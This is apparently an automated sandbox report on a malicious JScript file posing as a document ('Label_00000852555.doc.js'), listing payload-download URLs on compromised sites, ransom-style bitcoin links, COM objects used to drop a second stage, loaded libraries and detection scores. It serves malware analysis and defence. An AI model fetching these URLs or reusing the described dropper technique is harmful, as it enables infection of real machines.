Source: wscript.exe, 00000000.00000002.2137445226.0000016EA1600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA15FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/wp-json/
Source: wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/xmlrpc.php
Source: wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://telektrim.pl/xmlrpc.php?rsd
Source: wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.elegantthemes.com
Source: wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.elegantthemes.com/gallery/divi/
Source: wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tamilandth.com/
Source: wscript.exe, 00000000.00000002.2137445226.0000016EA165B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136855151.0000016E9F7DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-
Source: wscript.exe, 00000000.00000002.2137445226.0000016EA1600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA15FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: wscript.exe, 00000000.00000002.2137445226.0000016EA1600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA15FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arlettakubicka.pl/
Source: wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arlettakubicka.pl/H2
Source: wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137445226.0000016EA165B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-
Source: wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arlettakubicka.pl/ilandth.com/
Source: wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blockchain.info/wallet/new
Source: wscript.exe, 00000000.00000003.2044429743.0000016EA148A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blockchain.info/wallet/new0%20%20%20
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Montserrat:100
Source: wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq0N6WXZ0oA.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq0N6WXZ0ow.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq0N6WXZ0pg.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq3p6WXZ0oA.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq3p6WXZ0ow.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq3p6WXZ0pg.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq5Z9WXZ0oA.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq5Z9WXZ0ow.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq5Z9WXZ0pg.woff2)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq6R8WXZ0oA.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq6R8WXZ0ow.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq6R8WXZ0pg.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq6R9WXZ0oA.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq6R9WXZ0ow.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq6R9WXZ0pg.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq_p9WXZ0oA.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq_p9WXZ0ow.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq_p9WXZ0pg.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jqw16WXZ0oA.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jqw16WXZ0ow.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jqw16WXZ0pg.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jqyR6WXZ0oA.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jqyR6WXZ0ow.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jqyR6WXZ0pg.woff2)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jqyR9WXZ0oA.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jqyR9WXZ0ow.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jqyR9WXZ0pg.woff2)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCs16Hw3aX8.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCs16Hw3aXo.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCs16Hw3aXw.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCtZ6Hw3aX8.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCtZ6Hw3aXo.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCtZ6Hw3aXw.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCtr6Hw3aX8.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCtr6Hw3aXo.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCtr6Hw3aXw.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCtr6Xw3aX8.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCtr6Xw3aXo.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCtr6Xw3aXw.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCu173w3aX8.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCu173w3aXo.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCu173w3aXw.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCuM73w3aX8.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCuM73w3aXo.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCuM73w3aXw.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCvC73w3aX8.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCvC73w3aXo.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCvC73w3aXw.woff)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCvr6Hw3aXo.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCvr6Hw3aXw.woff)
Source: wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCvr73w3aX8.ttf)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCvr73w3aXo.woff2)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUHjIg1_i6t8kCHKm4532VJOt5-QNFgpCvr73w3aXw.woff)
Source: wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hu-manity.co/
Source: wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://localbitcoins.com/buy_bitcoins
Source: wscript.exe, 00000000.00000003.2044429743.0000016EA148A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://localbitcoins.com/buy_bitcoinsktop%20(DE
Source: wscript.exe, 00000000.00000002.2137445226.0000016EA1600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA15FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}	Jump to behavior

Source: Label_00000852555.doc.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.evad.winJS@1/10@8/3

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\counter[1].htm

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Label_00000852555.doc.js	ReversingLabs: Detection: 50%
Source: Label_00000852555.doc.js	Virustotal: Detection: 52%

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

